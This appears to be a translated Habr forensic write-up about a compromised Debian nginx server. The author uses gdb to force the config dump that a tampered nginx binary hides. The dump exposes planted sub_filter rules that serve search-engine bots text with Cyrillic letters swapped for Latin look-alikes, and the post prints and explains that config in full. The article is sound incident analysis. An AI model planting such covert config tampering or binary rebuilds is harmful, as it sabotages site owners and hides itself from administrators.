Nepříjemný příběh se stal jednomu z mých známých. Ale jak nepříjemný byl pro Michaila, tak zajímavý byl pro mě.
Musím říct, že můj kamarád je docela v pohodě. UNIX-uživatel: může si sám nainstalovat systém, nastavit mysql, php a provést základní konfigurace nginx.
A má asi deset až patnáct webových stránek věnovaných stavebním nástrojům.
Jedna z těchto stránek, která se věnuje benzínovým pilám, se drží na předních místech vyhledávačů. Tato stránka je neziskovým přehledem, ale někomu se to nelíbí, a tak se rozhodli ji napadnout. Buď DDoS, nebo bruteforce, nebo posílají nevhodné komentáře a stěžují si na hosting a v RKN.
Najednou všechno ustalo a toto ticho nebylo dobré, a stránka začala postupně klesat z vrchních pozic.

To byla úvodní část, teď samotný příběh administrátora.
Čas se blížil ke spánku, když zazvonil telefon: „Sány, mohl bys se podívat na můj server? Mám pocit, že mě hackli, nemohu to dokázat, ale toto pocit mě neopouští už třetí týden. Možná bych měl prostě začít léčit svou paranoiu?“
Dále následovala půlhodinová diskuse, kterou lze shrnout takto:
- půda pro hacknutí byla docela úrodná;
- hacker mohl získat oprávnění superuživatele;
- útok (pokud se uskutečnil) byl cílený a zaměřený právě na tuto stránku;
- problémová místa byla opravena a je potřeba jen pochopit, zda došlo k průniku;
- hacknutí se nemohlo dotknout kódu webu a databází.
Pokud jde o poslední bod.

Na svět se dívá pouze bílá IP adresa frontend. Mezi backendy a frontendem není žádná komunikace kromě http(s), uživatelská jména/hesla jsou různá, klíči si nevyměnili. Na šedých adresách jsou všechny porty kromě 80/443 uzavřeny. Bílé IP adresy backendu zná pouze dva uživatele, kterým Michail důvěřuje.
Na frontendu je nainstalováno Debian 9 a v okamžiku telefonátu byla systém izolována od světa vnější firewallem a zastavena.
„Ok, dej mi přístupy, - rozhodl jsem se odložit spánek na hodinu. - Podívám se na to svýma očima.“
Toto a další:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, verze 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
Ve snaze zjistit možný hack
Spouštím server, nejprve v rescue-mode. Montuji disky, procházím auth-logy, history, systémové protokoly atd., pokouším se zkontrolovat data vytvoření souborů, i když chápu, že normální hacker by „uklidil“ za sebou, a Míša už pořádně „níkal“, zatímco sám hledal.
Spouštím v normálním režimu, zatím nevím, co hledat, zkoumám konfigurace. Nejprve mě zajímá nginx protože, vlastně, na frontendu kromě něj nic není.
Konfigurace jsou malé, dobře strukturované v desítkách souborů, prohlížím je jednoduše cat’po jednom. Vypadá to čistě, ale kdo ví, jestli jsem něco nepřehlídnul include, udělám kompletní výpis:
$ nginx -T
nginx: konfigurační soubor /usr/local/etc/nginx/nginx.conf má syntaxi správně
nginx: test konfiguračního souboru /usr/local/etc/nginx/nginx.conf byl úspěšný
Nerozumím: „Kde je ten výpis?“
$ nginx -V
verze nginx: nginx/1.10.3
Podpora TLS SNI je povolena
konfigurační argumenty: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
K otázce výpisu se přidává druhá: „Proč je ta verze nginx tak stará?“
Kromě toho si systém myslí, že verze je nainstalována novější:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all malý, výkonný, škálovatelný webový/proxy server
Zavolám:
— Míšo, proč jsi to přebudoval? nginx?
— Uklidni se, ani nevím, jak to udělat!
— Ok, tak spi…
Nginx je rozhodně přebudován a výstup z příkazu „-T“ je skrytý bez důvodu. O hackingových pochybnostech už není a můžeme to jednoduše přijmout a (když už Míša stejně vyměnil server za nový) považovat problém za vyřešený.
A skutečně, když už se někdo dostal k oprávněním root‘a, má smysl udělat jen system reinstall, a hledat, co tam bylo nabíleno, je zbytečné, ale tentokrát zvědavost svedla spánek. Jak zjistit, co nám chtěli skrýt?
Pokusíme se o trasování:
$ strace nginx -T
Prohlížíme pro trasování, zjevně chybí řádky typu
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Z důvodu zájmu porovnáváme výstupy
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Myslím, že část kódu /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
byla přivedena do podoby:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
nebo
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
protože výpis pro „-T“ není zobrazen.
Ale jak se podívat na náš konfiguraci?
Pokud je moje úvaha správná a problém je pouze v proměnné ngx_dump_config zkusíme ji nastavit pomocí gdb, naštěstí klíč —with-cc-opt -g je přítomný a doufáme, že optimalizace -O2 nám nevadí. Přitom, protože nevím jak ngx_dump_config mohla být zpracována v case ‘T’:, nebudeme volat tento blok, a nastavíme ji s využitím case ‘t’:
Proč je možné použít ‘-t’ vedle ‘-T’Zpracování bloku if(ngx_dump_config) probíhá uvnitř if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "konfigurační soubor %s test je úspěšný",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i config_dump.nelts; i++) {
ngx_write_stdout("# konfigurační soubor ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Samozřejmě, pokud byl kód změněn v této části, a ne v case ‘T’:, pak moje metoda nebude fungovat.
Testovací nginx.confUž jsem vyřešil problém zkušeností, bylo zjištěno, že pro fungování malwaru je potřebný minimální konfigurace nginx podoby:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
Ten budeme pro stručnost používat v článku.
Spouštíme debugger
$ gdb --silent --args nginx -t
Čtu symboly z nginx... hotovo.
(gdb) break main
Breakpoint 1 na 0x1f390: soubor src/core/nginx.c, řádek 188.
(gdb) run
Zahájení programu: nginx -t
[Debugování vlákna pomocí libthread_db povoleno]
Používání hostitelské knihovny libthread_db "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) na src/core/nginx.c:188
188 src/core/nginx.c: Žádný takový soubor nebo adresář.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Pokračuji.
nginx: konfigurační soubor /etc/nginx/nginx.conf má syntaxi v pořádku
nginx: test konfiguračního souboru /etc/nginx/nginx.conf byl úspěšný
# konfigurační soubor /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# konfigurační soubor /etc/nginx/sites-enabled/default:
[Inferior 1 (proces 32581) normálně ukončen]
(gdb) quit
Kroky:
- nastavení zarážky v funkci main()
- spuštění programu
- změna hodnoty proměnné určující výstup konfigu ngx_dump_config=1
- pokračujeme/ukončujeme program
Jak vidíme, skutečný konfigurační soubor se liší od našeho, vytáhneme z něj parazitní část:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Podívejme se postupně, co se zde děje.
Jsou určeny User-Agent‘ы yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Vylučují se služby stránky WordPress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
A pro ty, kteří spadli pod obě výše uvedené podmínky
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
v textu html-stránky se mění ‘о’ na ‘o’ a ‘а’ na ‘a’:
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Přesně tak, jemnost je v tom, že ‘а’ != ‘a’ také jako ‘о’ != ‘o’:

Tímto způsobem vyhledávací roboti dostávají místo normálního 100%-kyrilického textu modifikovaný odpad s promíchanými latinkami ‘a’ a ‘o’. Neberu se k úvahám o tom, jak to ovlivňuje SEO, ale pravděpodobně taková písmenková směs nebude mít pozitivní vliv na pozice ve výsledcích hledání.
Co říct, kluci s fantazií.
Odkazy
Zdroj: habr.com
